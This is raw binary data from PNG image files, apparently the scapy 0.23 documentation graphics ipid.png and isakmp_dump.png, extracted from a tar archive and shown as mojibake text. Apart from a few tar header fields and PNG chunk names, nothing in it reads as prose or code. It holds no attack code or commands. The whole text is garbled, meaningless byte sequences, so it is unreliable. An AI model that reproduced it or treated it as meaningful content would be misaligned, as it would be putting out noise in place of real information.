*s\*JV̲deRΰ "Xs:*I; X*hl 2%YavB4G5Ftt5`йkɸaVe#pB1s`SAy#jW܌fz KD9ɣG(c@@*Aj%S qn ֳVkbm/LHՖ<³,jpEtaEN3?z44CKzVS+ۙVv&XC%鈹'.eDUʩr)F\2JI8U`BaJ,~CdG^ELg~d"T1bL(&+):?}3AGi K TKK*+XY5z>P>hZǬW[l K!i@S+í"L8!CVJ>0*_9ժ3 <֐F,ZE!i,j C\9 u@f2If/2lh)U*X\NѰBeY*%%+Q)IUB2]9G R)=W"vSρU 1K\+:9;ږ d:&&S RΠq,tDMK~),k&9 /BT1="uf9`P@]T˴55fO0X4dDDKuȃNF< Z n6%mK0 )Xlve ZjUKMo=ZJw B ұ-_`v`C^BxIt).>3ƕ8dg]w/ =hܜRSxa?p &c*^Ђv+Kh7QRa2N̮X/DXs,g'FnĀ\_hd,1.!%DC֣ e+/:h\M4")TtqӔA^uq^GK5Xg劜 %) vHJp%m# k]B9De4N,"-THR#$#Db%=7K;wȻc4%X3 %+W,{F{a٧eq{qX}u;uuz {4w/jv4h?zXך  I`K:q|pTi7s( c=k4 |Xjmjvt+=X.>*r2w%Mar4_  s7 Q9@QUJ<pѻ&Ċ5\#p>8qpK6zN 4~ԕr4ʸ&C0Pl ?|XG'Z2 `Hx MÌz0Xr!v}s$ d`_$u[YOShү+!֞{htu?*o1 Pgl/`8YX2IH&CXoX[#4Ce Mkܬ5T{33)X(G7?tTi1mf2u/yZX?0\¡dpȜjAcTva^=R]_Z3@_`9ѝt`c_r+WET q׻F]l`6˛]ތ{udڹ}bVT]îJ:>X߉{65 #hԵ/}ݹG'.\s]:-uyM*w!aW6VSHYw И&59ު٤ZM$֏Z0K~y^*jpэ.Yq+NvyIuXvV;w9ʍtzd|}fG.T^FN~,T%zEe ,*_@E\vaqaqqaavJ -~K:]0`5B4X X_KvXo4Xҥ 뒳ˆgi adoo6Nwvw6v^6jP^nsX_]h>KGKkOR"iȕE7l`[C?Rmoتuqa7 uLKRJljzEuN7wAI'Kηe_pW#5Nrہ~ X ? PˉmsoX8= XaX[BsK|KV{sYBo^b[1V9K 3:;NɼΎ^E|䣟=n{/\w"Kfn X'TzMk&H[^uJ^y}*7_Goz7;p%izļWx.67^r{ XۆWB`aIo>﫸m7O! 1H`eO[Bes-wS07/rnl"" X{6^ "oy`fG7n)xzWX=|nks|AH{oysKnl"d X6C3jӧkә7I*v2O6s8a_O6ᡯr?I$W`e7xL ¿f#Ío۳ߔ:=ݍhXH"XG8uu+%Oe"}۴:AGDz`]~,+mr^rQU$c$ADrzܿ+I|5褹EC]$`e7oa]Ӵ`GauɲS,\4*q%E'}49켜<}q>j7>Kt m3$[@-VӹwԮpiN=~8h5NI$J.njt&۝#;NtrnX_~|F2r+-o%z "J *.z/׽ECC 9zX{Ya/4FOFL@7CIm6 #0fȀIIôch{z^ Wu O|ac\7\-alacUL&E귄lˮmuܤ| WƝ>´׽Co _o/Up!v[|/ָu>+}%HSnBl{zsa/_=x|pjcV\OzyE9f8Jo-sN*5.nnX7ύ3&πši^8u&dsr& BdϹ*}P!/8 8v3r4i0\bC?ex]9 ~>Xbt¢Tldaˠ5@MvXp {l:%Iqpۀ`~Laҽ[iˤGl83 7p&a ;IWVb):.rcu"*|ܶ⺕ y3)%?Zod3ֻ$`"0r$B-.aB| MP ܎]JIl+t{9N̻ʰ Í$!b`bQ)scHr~XqPK,)6 9鐎h^⺽ j؁ ,%~ G/2r>7Q^q;mL;(m<#w!{kpbr $Xo0B1kщXB)Mw%Bb-v;p԰IP1ICI Co4I`iM~@,jGعnBֽ. w1L(`-XL/>?Pg%?76MP&[R'mԚbY2KuTx3= ؋3`+N~͊)`o9@)P:S I꘮t ^M2,J8/N\%Z݄U)BfO..z1R+LV{/@*hVǨ=VX!q \qHҳ8PZf[ VM=:Xg6p@⊒'o73 .q%j[&o=0[KTpQh"4!dloMgMa,By5eka=6̃',o=l~G'D2׭PX,]xխzX-uڝLJ# V(KK|]`msӓb[^r`qEUVkv!߈^ `~<yc6ҫÞcZzY*~&gݹ:i;c,5R 1"g$b:VAy!k:-R:#+ذ΢i-.&Gz.cٌ$I߹\>h; ;30{&FyPiK;We{vK[Yx^X\Qf Սƥڨ$©%tĐXU}R7Nlm> 3}h^o aqEU>NlZeyQU +O=%M/:Ȳ~x +1me>U˪3hU YIV6^ą>,4lj=yfс~ܤ V[X\QհJTfU֦fO.Q-+fi6`]x}w<1,j,W)G > ?bkˠޱHՕnVk>QK+Os7naO\yʡ|WT5ĀvPPIw.QqJ"~]ilsMWT5n]}UQv 3p|#])t犪6HК }aXV[uJDMx*#L@i?wH~j4zIP)<U :hÙ YCgFBESF#mP @8)8Yu:[k(!,`exTMj&.j&RjpSiUw\LkEFt:⊪Fޣi m>QilH,v T/]'V7flT(Hբ÷2G &t,z-f|XBªd7ă\ՠu)fmճ%E=BiFEhdz|4A*=J;e [j9隠HJzZ,ӞKiemڛzA)nǹ*ۮ{0j<(QYsz} |zdբʵTM/ i1QԨWH;VTcy=ŀU `⊪xg$e1cPQvNWn~faMT6V. ,G PiqVNԊZM}MtYW ,w@w AӍרJju5St{*S}V/G 8a{^ [B]kW*ae%Fzb=QsEV[ sVP@FCBSFkзYXـ% -q)<%ZSr>ɼ}|Vz:w 4ȫLl chaִ+\  !,a6VQ<ևcT?( ⊬qvQ.(` uy##[AKr0% \Bjmd_Wd y?G8KX4U뼸KU ;w_0?JHk;w\ 4X\QH3YAjUsMYӬŵC]/i)XYЎ)J@ڨr0wC12__?aVT'Pr$;⊪|hg%P"~\ci (IbUT.E Ň*(lqyX\QU /%tX|jRV+Dž=jHSZC1~#]ԃ0 ѧqoƫÂ,J=l ؋ۀ^vq[rrYC#䤠%<f@/"n)!+ПG!Z)r<3,±" ֧_K/v<)!+`}~XP<`}1N X|tuI  BK.5j6!XM6!X ]># L3/h,І&X oPϰ,l  A|3,І Xhn03wcP 0ANÛtq`7ALGS:ts#XXz'~pt@1 t`,㑼K8N,\֐tpYhC|1_/zz X~%O5tM仫#XڲlN3߈4]n[V?X]`n`ݞd'|D,{bZe.+=?,y'*nGZJkym73]=*O`lVVfn@,|.!o홫4Yda`rz쟫4.#X+Wrե8 LeյTmx=rw%1<ˇ#8 L%uz5Y%F6K1x߭q-KU9klUSq"DKUzP,3@͗jWV2xl̏[ ٯm,_[],ӕV?[2<6eWd8KVXF?V͘?CAT~'E l8Z#I3T ,Q56XsiED= AQ(%oOEE)akX2V)a 7'^2HVGfjU[kCAT&X0`ԅ뮧'WvcNq(Js!WP,3[CcZ{`VG&v\,sy=9YO"X;̈́kPAkf ;.*.3݆˰uCCg)걸CAA<9*?>SV˗QT i}_QT+ؗ~IB ;7R-/hɸֿS !:DO,=vokٿd a qɎ}W3Xw.Uoz6=[ozbY?@s,vw$ZZz^xIףko`pGztqA,Hc=B,h9~}J,hW=b!XkP; ;`գub!XQ 3,p&Xϰ  !a8 XA8C} g8kz}*u{#AN ;*zAmQ`pGw&XWv`~w3*?`@8nX"~!XܑpyM,H]9;C(~]EP3.U,3`QM?8>@s#ohf8nKp{zG!XtҗadΒȗqtn`R'J$nCf!XC}MU/>:{w̓{~*%w=Bk`ܴVT?J!X<5 R w˕=/hYNӫR=v, F:]&P,]KA«DmlCU;ғJvl˸@* ` XMȳͱۼt0c(4IGۨ_2:suT X<5RtUIQd*}毡#KqKoeVk.wMfX}i^uX q,qVCj&Xg2&&Fv 1KB=.ՒPk:%FyCAxjr}s6G" ZʌǙr՝Dci01KBUOrNYwM.kx]c6Ti%jFczFzi8,tyXM. хj9;o@q(OkNMVP?kHC&:3"))}+l먓]!.n ك96>PaqsXp+&Cb˨y)D7}^k*+ pSa+S :[uisG wrƏζjt7 =g ,uUsQʄʯ\qQ}KuZZ?x"~4>䓋f^"Xd}'CG<5u~i/ V<8=ZZ7>z1Zksx9:=[,uVuQJ`4{I߫)u0`Z\,2Jzt^_Y3#@hBlVudž p]`=N_FZMm p_`Go ʒeBB7 \*]!XJkl6&B7 DU<|aoEו75cSK(q,^:f^q2;şŅ`+IR|a W4XlLߖdlXWn p]`+MJq$uA:ݱ #ңeBוVg Vw5fL-=%cTv+4Uf,XWC[+ pS`O) 6ʤq~T nzH87z?8"X|+7wjFpAk co`PZ[۽eB6>goyam2dـ8Mſdq@ڣ?iDYef" I iK8⍪˽}8\Z=cey-Kx4?@6P ,{f+{Π-yj&j&r ėW,{4X%@6 >ĒXQ"&e,uYFoR]Uu]־hZoJj+ Ll--J(},싶EB7[X uї:$}3 YhN] bYptb%MW<||XYRc1fOJjiLT'a2f& ZP*' Ⱥ2!.:$?-!)j%$áuQP%Q8@~}9AE!`nmK  v>(u:wq~̭}X?H_;~6`Kص#WL~Um9e,2JO;*"]. >'Z,}zb5,lr`M=_iU  JK8ma.!,(zl}ZrbOg>X:#*40b.Ttqamt}oȎ lDV޶X7rW7[͘< euV%$Ym-g>qwv[CX ,w?ȯÊ> Yd6߶YӜha_ /1,FP,Ja eBu +g &E@`W?{ Հȯ%Vk{=XŤ:;?ݱnFP4pWCwQC졲ʻ /cup@c4@TtIwɸ6i4I'Bi?yqu1m0ZE`!yXW~~9|1?qv_Lm +xKWcm֚H;}x, \sPI96yL%dz|ZΠ\Rɽ"p5}S%6t65,'JFjCOw+5j"/ , \aʱv/'p5}dF4(~'p5NUqKL`j%J  Ue/K)ݫTSjǸw=HR8ړ(35I& /X@m UJgV+Z_|VK>Xz;, \Ӽidڳvo6iM?b[;; 0], \^%~0JCxI(Y\I>eӎI`WmecX $ʫ#KIɪkҾ/P'-j+|.lXF{*,o |y*y)m]ierd+#ğEA`j^ - $\%tW^wySV.D9/  W÷ o p5}aCKd  WOc8&o'pWRN`j~]̲Z϶, \mк'J{m. eu_lW6ZΧFKIdn puU/ou7SuۨݓE , \mUulH}||X>wXͲQX@Rﲣz#X@:úSX/4~իqu);zN/@`*ie, \]WXhyTo WsX:яʏ>@`zpE`ZB @U]yf @E]:Pߓa ,uXPUsXً,)VGNq/OF>43ck _!й\ʖM셮8HBOe1IH:#_lkyG*=!wn@Xtp`ɪB+ߎa@JK[` L~;]}VvvGKGgKa[#.f'|zT T=}0߅⥏i T-v{;M"@XХ0NF0N\C>猧}/C a%?`z{Pq<־<]˰iV4޽4]JV2 3պ".y/6]J%|daW;{;:]zuUh +>]o잺J$ ͰZM}^tq|uWBXaIΓuea@%![JXO9fIW47j"fޗZ5Yގ}goŭ87ַ۽@X]5s]pZZPJL2T>?Ց1lfUJq{|c5ín ,NX?,_ل\U(u51XvG.&i PjaMjZD- + .,9 D a@ q0t)a1x]2wa  d!o$Ͻ!,Rޮ9?`LHu9Qw GvcZӖb٩1Vuǚ@XХ0 .m!nlNDyAGLά@XХ7yq: }OoWa@G+Ut:ú>_JE@XХ ˜j:..~`z` T\~M .Ok~rQXt$ڮYt8kB ,  T=OX_DKnZ! ,RmIx)?| T+A4Y ֿ4@ R |y?п?vCo)T^;NiK-|.wYQ@n[vZ=ۇxr9+ fX*O|T8~r n5a8jQP/7̰TXfjɓ/*Y{@0:z߈s ,z3x/o[~?aKΰ~^܀>D/>naKO NNJ9T_ۖi,d߯W7]'㋍.ux*ggX刳", & aO Iauxְ恰:fWfO ;wU@lNO ɰ *װf<%GBX3x-:K14IiJ}j()ٰbъ$2PuJ]}X]t{(m΁F&5!j'vM,ms!)vj8ܻv/\I|Iz[oԏyӼa( j'3DF~MKT./GXC]!da~Z?l$NզDJ b)"cu!@Q;>eQ($LKJjNz w}eZ; '7bev3 @l7a݀n@Xp7 , l !,`CX a6l DIJ`IENDB`scapy-0.23/doc/scapy/graphics/ipid.png000066400000000000000000000233771320561231000177010ustar00rootroot00000000000000PNG  IHDRG3 pHYs  ~&IDATxێ۸ >)ZAC-;)^>.0GX:rG^s9cH?sXfC3w$3`Mp_44KxS T/n+ *o^=ғSOIԟzROzrMW]}^2Msqt9f3g:0vKw ` p#A0G8 ` p#A0G8 ` ?(; _aa.??nOV7z; 0OIs8oDbFNx}!мXr?_WW9ܳa _m&ݧ̃U?_*>`x!uƉM7|7R2)3ƽ̍|.?O_[_a,0ZoJ,?R?gsS˿"3K_a#gO`{sm7xj!l{;ut=ŧM{-=+ 1o6JQ!@9k=g~dN_R rfŏc8 wWSsT?j-ZnUH8w:nJ]|yN3x_4@Vk+>vo爲'r*ikJss=U3^_mOKV{5h%?e _(LM_oyX>>Z^`iJ`OrCjGosmt#Q_]Nytܮ9?<nf,4OO`x!Б=8 u{]qf|ͽM 0n-,4sB,:F/Ϯ-|=g+^oY?rǫ+ YF 6J`kxޭ:=!Wc 0ͽX-~$:9CW[[P1 ȳR#@]Ce p"hVm󙫎F ^ma>`etZu^aU|cHkWV!:!@[9ޭH $׽X>`׫+:*IόڜsjJȸV5疏{[:o" 3st9ە?s~oԆxҐ;{4QTS?k>z3ֳ'4RMw<'G``LjW ?Y2e+Wl/Ӳ{>/k\d+o3xGnXE3?'? 1vxX]YctW?Msg'oǟF{˕*Wn`ԒWjqJe"G{ i༞3-ҡ#-$_!v rp˙39\dZV _]gtzg@\@-יmk?rxwud9%^ Kc^nm.>Uw-?Z0>٘zQ @G񰚞ƗYb[ ' M{"dSefT+F0\6t {\G*g0 +WGf._L(8D:'tEbjmmvtK8/ \u dF*-jjxu0F{3wgYi|$:}  vpz99n_IO6ۄ9mG"Ue}Dpx 0LY3g+wZ ︡&7oU^~`8AZ5w$U˰ܢMşDYX ĝRxm5 7wCj7)W ky$ ė;*Ǥr^{jk3-o`"Hg]z"xTMkCi.lϽl{,.3b78&k@Ǘn'^Gh`,xUsG,oU xk*Wk =zL`??]nj W<'•5;' gT_D^`o" 0!A0G8 ` p#A0G8 ` p#A0G8 ` p#A0G8 ` p#A0G,>sT~h:VMџ#i4yk jOIB>G.]V *+# D~Mx 7vK^Q% ]i.<ՈpsR=w^R2#A0G8 ` p#A0G8 ` p#A0G8 ` |z߉ 7D9~~"Du#--y PpViyĶC#4;!+ ck͑vF"XZG9' ^azd&(_( W~_j̾! {vvh{+ GH+GY M˶75>u\PoyMm`fN=62ܪ}Y)1n73eM*\A׋W/G9GlsO|{3]y'`YNifKg\?*tR[㷥=VhGf˄XCnHnNi3ߗ( OǖGhds{tuZ؉ }9ù3lj_K7#"ar"O嚮> QZN3D0 `\lHn +o`4j_m`gyeAx`%VX7rGzv*@ Gk ڲl+3ff[:>޾I9?=9ph{<yoFz5bstF!w<ՙ^[#0aEҺkz$3X9]gf!W[[w&0\WZ7fyjg#sޑGn-v8k(k"-lӾ-ʳR-*rʕۼ"X{v+h`O3KG\2:0Vn7+vv-qT!mӵ+x*l*p^tM?+PvB&tv%Ë}}nn˜ur A7!kPGL`sZV7g_l~3}*`ڦ8Om~3B|Ww2j@{o&!V^eUJL}5f!ˊ |'>8~~d~ 3fEe؛ FW kp|,6R;\ sG?<3]m(b UVYkY;G 1`#A0G8 ` p#A0G8 ` p#A0G8 ` p#A0G 3#6ֱt D>gsXCqHMgר -~ܴn,q$6C}o [0+M4ׄYO-y. m*\4љnnw_¼d>!p#A0G8 ` p#A0G8 ` p*c`åH`FϽ^zdH,tTi4-q!3wU}`Xh+r.#[XOT WןWnmHr,\{PiK\zį48hZ~nzUw#gDnQWE[+H3z檑疏v rviծ \>{mqo<7eك ]w^zp|MrAg45u#-ω<9S#GY:`^c~5 kgs3>y0yrM.[sܻ<;~h1l8wܣ7ztz^{+zSr`~TX-Z>CH*vV9ܛ ^>^;W|@Ryߙ-_1Lyy'ziGƖOm(`Yセ>wm4-g>h׈o~A} WsPsswCs?} nY?jޫfæmaz-HrǎǸg' j˷Ŀm_~o?Yϝ] r\qjW9KPc`ګ/?C@#+FB";~O*Gp T}Kmk_W39k݇@\ݧ -ܫŏD֖eJ^|${_iM^9#FoQwHN tsrlD k|^A"")>;sg{ D9?q4MgpU;z}v]Xg?] ߕw{Y?-W[g0P;L $_$P:WuEVVKWUV\:qU#9313wW_A?}"XI?𹯙A:wB$ĶowNΙ9~Ƚ_[>v +EBiZӽ%y"¶w'Z㳩,'>]Ǩs&GؖOmNl:mO{}T4^܂+yEԒWVrsP^|NyIRIk_RPSks~0]-]Nz$Msqt9F6ў\l{C}?izϫV?ӳg*F)/ה{/Cg08S5k-˿ s]O8w<Jgf}3?#3PWo`6ǹ3j׏}jtZ; ]9N߻X`,~%R񅚮K$;{n}^_D*ؽM^sYG3]*;m"wB~ p"Y)wܑܣ30r|T:~G&30[96ӳ;x`{s\+Q8_ŃĜřa<+e3Z#s]r]iJ P"XGi٢*yvˏ\gSݷ;<_9ҶGxqmu5a,u񿵙C ^ߪoviGS8Eď#f~ߴSa @xA6kO3wSEʾ{ QD0sf@-GL7 ޽)N|pu..־NK;*đϮE P353p;-:C#8bk^19VUxO%$/( jxʵarЖ]Q-75G#m7C5}֜ʧ ""ڥʵq{ [T :'5-Uy f@/kD49 ʍʌ-T#ʻd/T^f|fz0~6Fvfbr$]E]19r~ 6ĞM``3ۇTW<:ުŲP-9x%6gxrjo&Bzus P:z_􊹶9!fo N-?77[jKu r,%Fܑ%"0{c~D38 @|Ӛg&B_!Jp$bC:jz|f{j_mM_M \y ?ަ5wkSȊN0 DBW<ԍ@ȺK7%0dYhaz\z@ǯU nUYGf^p[mtڶqq%G YS-?ھQx3T[w =Ev4~^3tbE3뙑Vn@O*PtmØ#Usi٨f~k!Ƕ5~\=w+@@vʑ/ @#Bc=*T`)+lgFa Oi|Mݾ-AsW&3xmaH:}p薾_I`iHے9GVj("u1׶7 N^9r]!Q.Z|ȣˋ0<(#\8b)C6xMxPyܣ}S>R+>ET8 p[ }V|G+D}/Fޱ p߿g\h[П26 {-f9eP9>>zR'$x|{YO߂YI?+kE;Qk ? ~F"ܻݖk/je{g``YaWpyye*@+wk:+39>Z8Ih`TQNe"SZ/ 4n'lE0G8 ` p#|>G?RsN+އԓ>z=T'ݙL='ɳ}+?|}oǣܓzWioϲo;sݫ'[L=sOOwܫ=oV~sH/Iԟ~ӓ=ӽ&qד;ɸ~ӷ0*П+>ߟ/$xdO;C?Ug40vٕ}݈O7oݙ}?z@AcɚdZQ3ϸwuLWO֟tgkÎXB='޷zRm8oXoԽ@'ݟ=dW{RO֟L=c{W[_8!A0G8 ` p#A0G8 `?GS^FIENDB`scapy-0.23/doc/scapy/graphics/isakmp_dump.png000066400000000000000000006410431320561231000212610ustar00rootroot00000000000000PNG  IHDR pHYs   IDATx|.Wbą NR(V8 --+^-n@wޒ\~瞝gyDrsr TD+&p(A%5bJ`[ɁnRk$ɠ]@P"WчlcG_ R'Hypo|g+ڑw$C&j@*KCbn,p?H8Z\+}¥j & V* MJ)\{RT%]*:CV! HB'ZGtP1t%޽gxzի#J eqi˖nV\gOCSS-,@됐6&$TС\ӦTHvVm¯_SIJdhxq[wRu뾇B>+U'"瀒 D!da^߼ SӎSyr2@IPFFʕ۸xKFM|ȑ+K|c1X4~|fxد޵vmݣU@bvQys2eVΜYյe bՌ7l͛y3aA9T:R0h|޹s{O'Nl]{,*0Ssv333Ϟng׫{M˖T1"*(h)0kŊˋ}ePd AF[Gb[`Nؖ+w>}Wyܫ},9{fonhh-=:˫_\"))i̙]]ٵkm"=AML-Zoe/ iqqGwղG҈[xh5ǎ4 $J:x&߾}VoY[[ٳo˗x{gFuH`-p?sz3gO/~7>fhGP_"YY-&O>{wڀ_USj-R%J}q޽BƆiX?M}c҉Ƕn zo^O'W[/֍KMmZM</= trv]5cjchA7o=oS^1eKX&'HTG_eiI@'$ktd}^Wƍut]ܽ};֮ˏn6ժiU [TkpW_qk&~~ixqÆ $2ի֠AÇUkRӧi))(K>(\?gAGoQq^\ժ]8~<+-m&V..kvu6HuܸeKںL%>.h%>1uDuŋk;ԋ0EVgٲtD9OCBC.^^G]꿸^FG_~9~ݺI Efrs޽3P+{{kOHL88}Vflقj7jT2H6Ο?aˇ^_ÆχxxppzJJUwnpz-Z '#jGtʊCqo'!͚i-߽tZNnݞ?<~Rzzxp<>剉;w$WЇ5/ҥK8,8I@'%^Q/_ʱnc3N"=r+YRvpw )8>WOYZoj}###>YڠS1$ܽp'SV0YYY|5˷KM˗/˒*wp+//`RԜ#BCѸ_aCC^_t? >6.6)Sn߆ ?ttӦ)W,ظpaFz:4)/0#5ήI5ן7a_}5sVw))) ܰoyV0D&͋D&M::ՠL7T&vrG77r!>5#GyԳg.%JPs277Lt{ Vo_7_zj^ LmmA!_.[Vz&LX8f̜ݻ),I@sX_}e2"̾}c.416ƱUWӧ޺5c ;g玟|R،A7S`+V*'`El4s"1aj&-& YypN䑑 pXBe~tt0%>xpD@ۊ4Ҕt :K|ԂX ˠt*mz<~׏?z,Yb֔ /q٨oܰt)8#͛WUP_ +8OsUMr:)J8΃w?;v˪j? :rvppdɃ7.Z`͌o9LuʺuF2T 0@y'qapo jD?;߈ٺuiU׷.,mJL--; TvJB#6̟? *x0` b> }!I!"b\dܻqȹs1qqX}n?_qc-}Q|xք2hēy w=ZIXWp5_ SQ/*7_" 3׊N: oD8!/^&d^p.QgRld$od^d:A {WXXb<.*zF&hŵdIcBp$ƺko ,"[Eʕy恷oW__F^ܼ 40QRA:G܅\__\EV 흝o:%DtR As0F99ѯ_WW(a&peIqqhkJP6ބ@ÓeX,q7רA|A0! * C+;իZY%$ph[~HGDqefdVXgOOjq[ۇYph/f1JJ$ouBQښ̰Ż/΋h.ބo[Dٲ۶r 6n\xCF1&OLFYh/"gld49wݻN؁՗_5jer8'AT&uI௓@vf&nx H|_ƞܱK8ɦ]@#5̺!m~@ h\(ɓk\'ڶA[X}O[p^AV,Y61)Qܑ OlTލqvh"yTGGM⣏H ŋ`d:{K@<Qw"ؗoޜ޵Gv͛7t'00I``N(z+]es2:׭Q8%OKڈB,vb" { 1RJjhOJ2q!;Eob.9pSKX[Y<$ qque!2*ThaGx|4t-ge]

>,$gbirҥ+OݻcBb"`B49ݝSle'wzEaBER/%ĺgI{w˗߻G˖E`6mPÅGԔ[0KK=o^qKXYP57JLXZZ6lB=+Vغ2mwx\^9+'NB p=y`XXV I:5ЁBC QgzD\K 7۷CM_=Z?g_߾|}I+Tnco2%Eh(̘YY%''o;7ŋ4F͛gYj}{!t ] T*ٳѣ11A!08;ڼ°3NP$2Cq鑿2-RY>,fO :deO?Ěۖ-#g3)1<ĉ8Jeca<Sӳ1GϟoS6z֨ѵiHHHR~<}Af Sֆ7˖-h`$;w0ܑA qmѩo$І BTaafFփWNDs`Dl)Q&55k׽u_+ G/J(α:ŭ%Mh(_=F@OǚaΉ>9jJ 1r-شG>mb&-ZڵlӧOДo7.XVgߠAܻkժ+ǎkX'{{H@~kgxrk-ZQh+ .?u=by ͰUkԀ;rž~zӦFE~br2'_&MĔVOygy%X:U{z߾c7ckaO503t&lxUqAV>}j֩x3srZuqBq;XQ#A#{7W&7.ذnSM+V8yVɓ̌ay(8t?`Ă|; P@CfAj.Vڥd1cT:>qvf? @kz`j(W8Lw}N@?y``;!Q%(bS%!FΜ>3؀8223`cCP%렌vI?*q&rZK ML կW]\əiiBD&7 w7{Մ%տaRfhz PG@&AǸĄsu}ԗNrZ NH "#SSB ac+xIMlK ! @Nqlۃh!C!`aHTW[h&hYC+"&'8 1}FYt覡$׈PfhDL:;dq_3"{Eq,  o4̍"3H[0V\$0LM{0¡0@&&¼24$>< Dd];>>A255r# =ɤ Ŀ *؃IT33b '2'UY9t0h#FY8#>s,doݣ!A'#*o7ϣL'AA:tGhqY? t ՕK|c|cwJ\=_tI?#t0KHvXIIBX]δWS*/bQ'&j("L"D@}>} 22j IIws°$u\$oJ~SfY` ݱOD IDAT闱jJ4oeOg~P=\\t)\woc?ʊ̬U݉˞7oti>N*fff's! M ?"Qa`^4܇X q-J%˔$ľѣ0n⽳#>Zq6iJ~Q6gm'$n٪CKRmKba$/"^-4B1;A]AD'B8?Uo1Z";$SϏp `!4*͈;܋͋dO=P:B6U 5'tI_ݘl҇]Ӆ%gdėO(g5;fp23ӌ,.]Z'LjN谭 !>2 -J}4==o $T7(9@@ 4rÖ*-WZyd$ JI==VMcINJ*E *tT&̤TV_yo٦ ֚^^hҐb(6= "C]N: ۛ=}1Sڒ,Ӕ@)U.'{4os4;7)==ݻϽ|yK+Se+s$ !X)њk77'=#SHF,S7AC֬Js.֔LfR9,"'C l"#k—Lb eXsV 33:h_ 'ʷ={6|׮ڱwxsVBV_E_~9pV , yi^rpvqp3i{p]:֌^iUc;v$7;N[-݉N: $oI@2VVv["8"J_Q5%r vYް?w}e"^Rْr=vvʊ%|ԝowaSLM@!~~J:="}&c ; I9.tH)7=Y[ ac^Pb!]+2WZr0M* F>(t`s#ϞfD!Ѭm)]ȳleǏg5.3S1cmBk//W//v`~xCl%17C7;vPA,b2@εD;wEF\E:J?: $K ]0$}ݿϓ 8Y NOyKhͥni23}[**NSJI=*ˊYL2g<īMqvˌJ֯?z9){OZ8sp8Vy1UDe!@UX Y;:T D!#M^^g٩qg)PET_aݥT֠Oi??u"e+V6/: $&DGk_]DcXG, #oQDjP. Yn-|5MHOwN :7vwj&"<|߅tru*կV5P|`{s c't?֜!tI( `VT%]*!FS.\Xٰe|9Y ܙpM 3D66bl.`<˭T,4fǏwjzٳ%K,Ic/^^NV& aWM?M|8I@'U .[!nVbLg6?Hqqϭ]+bu9`ma۴4eegXV>nj/fd޼֓٨/nŋ?y +N@x9n&1{T Q*g=S_;tbFLǯNSy\I?%3I88賙А'ըNYt3(pѣ˾H$Cbܸoz)cϟf͢_b,L:_{\U&RD@Ν;u': $N*ަ YYt_*N,y[nl*RO0OJKkԨQFF:wb"[V/V%oaRCntroe4ss_FEћ []׮]+\+I@'K %N۶9gθ^׾aʥJ}g>ݾ26!A@99_WdZ6=R|tر.MfF2OH^FD\AA7nL<9}(ׯw֭iӦ3fH۷6((h74iқ7o 75w\ѣǹsǎ۬Y>}\|Y]|}]||ʯ_=zt&MS SLn|_k_x߶hCÇ  ]$JM?Xt!VjovVV*UQɛĘ8θ::Z/پ=,"b޽s7nةL7ξ{%(hҲeήPL*U&,Y 9oPЙ<"2y5s)*+] ׯaÆ/3bO?-V̙3CCC T@栁K8p֭ 8y$79]#ϟ_NqƩ1y_ڹsgƽ1XbݻGEE_|qmPɒ%Uu@֭[>СCtH >3S]G+7;_#?]ܳ?+ ]\$;WsDo[&w4Ș:z%W.2 yGХI/KyL[gB.53|l[dØIQFdbl}@Qc@ա:!!!|qu; h(ܸqcʕGŋo׮=8fΜ9lh йsEM;;}ԫW@dÆ -[̦Mry*U>>+WW~u4OݻنV`FXΜ9SVwرt 4u'\]U^2/_RU p.OJ!e[t: M``"o#%HII}A SzãqX?I;J=2޻Hl~y)$s32ٱ,\0I-C*O<|Syn8CC%HU{9 +-!6P}k'y;%QLvv5k,5(00К^ڵk۶mQ" cP۵R4?lib``@ ʞ+/jipl]}DjR(8 uf 5&kv'ί/R%_ `/usr fdDUaK xѹ:1L._]Q(Iu*tx}}{Zp`^vwޗO#}oPf(?BdȪG5$2Z2V*ȖW\8檼OTg  ]:PÆxbWD|  U`` 6P%B?6BJYpf!ҙxDnX8dܢiєD'C%KlBʄ#k뿐)#(ѯ9l:moo.9Lri!avvW3)|PF8[t_pIeb " ́J(J@xDq6-4). K2ދp@ ?]a"f֭Xv5ʧON ?0j"2Њa'DCY4 £$B%L&)kcԔ'X@WcQ8% n&֫̍0 ~K?SL99ٗ%lTg))^;a+*r}'ZZ~.%T΄Y|QX3;n/R}i$֢xPo\4ٟ֭)6tÑۼrQ? yAp<3s w'J_˲^Efٯհ7߬}^GM$o%^evvtZ: λ|vvFjgQ~J$^@+~Lq]_H; 4`}2v/A- a]4A* >VL92_`s}0$9 qI c !hC jժkbڒ%KPp@Yi@TV }-[ψX]˗MТ#(nȑ#b} @B'X% ]a׬"槟~5jl2L]6bSOT/@C#C"'-3C#CC}6pI'C^ A 'Vdgfe$2๧sٙ9h,p XZFDrƖjH\f4#H 9ي7qq'$2R}TVƆr=tR)0X+55Kr!yTϲy"GzH%7'P̋I: @O JƆFlp%"Q9@&rIzVN@~!ds.I ! x sN037':0!ʤ( ê]4* KCffLL,j [W.Α-gAhcv ՂSqɳ%$VyJ334GP#, k[*Awsޑ gTR̚ma,Z'ƆϘ-}a\BDtBPWE@J{lTi~ j!&0&|_8>@-$>6_<;"?մ@&'&Mm*Sg]X2i %m_݆Rb`pYKӗ̺qwf<{_i.߹}XOt3KQ'H %L8jݛRΝaeDOl/~׶slɢ۽O +OVX5|wϞXτd2`ңG/ ϔj6ޞHsr\/ZcGT8pZVVrXENMr+V8Z -ܨPL\T/6_,)ӷoa ,Inm'^f||9:9:s{IJWq%J""#e3ڷՁK9uKc0oCjryZtW4RRϸW2 V֬VO v8+˨;UJےW$-7427;pTJ1A\?cD8=yP`౓l]d9FE L}uTu7n"jY8q_A(CIJ8Q9Rh 9%?/ t%rB 8Ǩ CS} V R<(' b Ihbt.,xм7SP4QH5/KD:T>OM5q<+ŭ%<6Qds IDATC8!=%.q=SkT~&-;{ꅇ=tʯ.[| U>&uzHx :r7k5uf@'FǶifH8(tm Rv鋷O#eJy2RQ&S*j(,M,QUIJl|[ee+&B`%i.tiFFV7tkÇJ2uq蛙eްrǼyz(BTCff-kwjӷK4Q?֫Kl13d޽eƝ{I&rzzk30hRaZT0=qٳ]J\g3f4)WP`,l11 6ns,F0Tc'?Xu3g{{c ޯn) wGʖ.=|Μ{wcŋ)ܥěhI`79g۷?ejf6k榵k+ɗ_M2IU\x'qeI\s∝c2RݸvDuP_?35_13d ^0u댙'FFnX{zS|о_滮Y:ǍkPfu*U˫U"**Yɰ!X-^vfƔzuԻ7kPFI:l78E:W 2'rA#Ka$V%Y0|@BUEzjRj Q)2>K/_"]Ȃڱ?@_:V 'R9s5gAt: 